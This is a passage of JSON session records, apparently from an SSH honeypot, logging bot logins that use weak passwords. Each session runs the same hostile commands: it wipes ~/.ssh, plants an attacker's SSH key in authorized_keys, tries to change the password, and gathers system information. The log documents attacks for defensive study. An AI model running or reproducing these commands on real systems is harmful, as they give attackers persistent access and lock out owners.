.ssh","started_at":"2026-08-27T12:37:20.204796+00:00","ended_at":"2026-08-27T12:37:21.458484+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:36:59.035464+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:36:59.474893+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:03.447937+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:04.043752+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:04.485130+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sendmail\\nBtkCeNCixVnV\\nBtkCeNCixVnV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:37:04.927757+00:00","kind":"input","latency_ms":null,"data":"echo \"sendmail\\nBtkCeNCixVnV\\nBtkCeNCixVnV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:37:05.376518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:05.984195+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:06.423478+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:07.858921+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:08.302527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:09.385029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:09.827048+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:10.281196+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:11.021421+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:11.642664+00:00","kind":"output","latency_ms":null,"data":" 12:37:11 up 7 days, 9:27, 0 user, load average: 0.21, 0.22, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:12.083051+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:12.476086+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:12.921248+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:13.785122+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:14.225747+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:14.874304+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:14 up 7 days, 9:27, 0 user, load average: 0.21, 0.22, 0.2\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:15.315214+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:15.682480+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:16.130263+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:16.801573+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:17.242594+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:18.130543+00:00","kind":"output","latency_ms":null,"data":"sendmail"},{"seq":29,"at":"2026-08-27T12:37:18.580245+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:19.764237+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:20.205595+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:21.325335+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sendmail","password":"sendmail","method":"password","accepted":true,"tier":"other"}]} {"id":"ca3841d0-2be8-40db-974c-3a1cfa7f3b05","name":"coral-keen-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57430,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:51.340494+00:00","ended_at":"2026-08-27T12:35:53.501899+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:35:32.816842+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:33.113617+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:38.310204+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:38.807115+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:39.106748+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123456\\nKAXijEnzrgmb\\nKAXijEnzrgmb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:39.404588+00:00","kind":"input","latency_ms":null,"data":"echo \"user123456\\nKAXijEnzrgmb\\nKAXijEnzrgmb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:39.700927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:40.384935+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:40.681809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:41.870223+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:42.173703+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:43.141611+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:43.443504+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:43.798113+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:44.094093+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:44.423084+00:00","kind":"output","latency_ms":null,"data":" 12:35:44 up 7 days, 9:25, 0 user, load average: 0.35, 0.42, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:44.723326+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:45.053959+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:45.355784+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:45.770736+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:46.069451+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:46.469743+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:46 up 7 days, 9:25, 0 user, load average: 0.35, 0.42, 0.26\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:46.767463+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:47.562883+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:47.862157+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:48.652134+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:48.951297+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:49.699064+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T12:35:49.997804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:51.041470+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:51.341318+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:53.414010+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d331a879-855c-450e-b3a6-ec98cec99240","name":"brazen-upland-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37660,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":346,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:51.172555+00:00","ended_at":"2026-08-27T12:35:52.995733+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:35:33.286184+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:33.629771+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:37.663170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:37.969295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:38.314758+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\nt3JC8mLo87wz\\nt3JC8mLo87wz\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:38.661088+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\nt3JC8mLo87wz\\nt3JC8mLo87wz\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:39.006384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:39.696509+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:40.042545+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:41.073110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:41.433139+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:42.766565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:43.110967+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:43.614406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:43.960143+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:44.630247+00:00","kind":"output","latency_ms":null,"data":" 12:35:44 up 7 days, 9:25, 0 user, load average: 0.31, 0.4, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:44.978279+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:45.437472+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:45.782673+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:46.062945+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:46.408045+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:46.727684+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:46 up 7 days, 9:25, 0 user, load average: 0.31, 0.4, 0.24\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:47.077515+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:47.549108+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:47.895789+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:48.365947+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:48.711921+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:49.179341+00:00","kind":"output","latency_ms":null,"data":"admin123"},{"seq":29,"at":"2026-08-27T12:35:49.527349+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:50.826402+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:51.174351+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:52.891483+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin123","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"6bff129b-5dbc-4096-be09-3d86b0074ffd","name":"mindful-airy-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":52984,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:41.014519+00:00","ended_at":"2026-08-27T12:35:42.372176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-27T12:35:23.510903+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:23.772793+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:27.214312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:27.953582+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:28.213652+00:00","kind":"input","latency_ms":null,"data":"echo -e \"a\\nUxAQ8MKphSau\\nUxAQ8MKphSau\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:28.474311+00:00","kind":"input","latency_ms":null,"data":"echo \"a\\nUxAQ8MKphSau\\nUxAQ8MKphSau\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:28.735892+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:29.409139+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:29.670615+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:30.576629+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:30.856374+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:32.192484+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:32.460579+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:32.836435+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:33.096521+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:33.817452+00:00","kind":"output","latency_ms":null,"data":" 12:35:33 up 7 days, 9:25, 0 user, load average: 0.19, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:34.081293+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:34.356909+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:34.617753+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:35.362419+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:35.623603+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:36.246852+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:36 up 7 days, 9:25, 0 user, load average: 0.19, 0.24, 0.18\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:36.508003+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:37.103335+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:37.379283+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:38.240751+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:38.498648+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:39.277853+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":29,"at":"2026-08-27T12:35:39.540324+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:40.747195+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:41.015123+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:42.295041+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"a","method":"password","accepted":true,"tier":"other"}]} {"id":"7821f2a4-c97d-4d17-94f9-e1d3d89ec220","name":"sullen-pleasant-skink","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59726,"username":"dockeruser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:34:45.065151+00:00","ended_at":"2026-08-27T12:34:46.235008+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2261,"events":[{"seq":1,"at":"2026-08-27T12:34:20.381405+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:34:20.829521+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:34:25.823811+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:34:26.616959+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:34:27.058678+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nWlb1OCoeI7mI\\nWlb1OCoeI7mI\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:34:27.497160+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nWlb1OCoeI7mI\\nWlb1OCoeI7mI\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:34:27.937292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:34:28.268150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:34:28.709045+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, 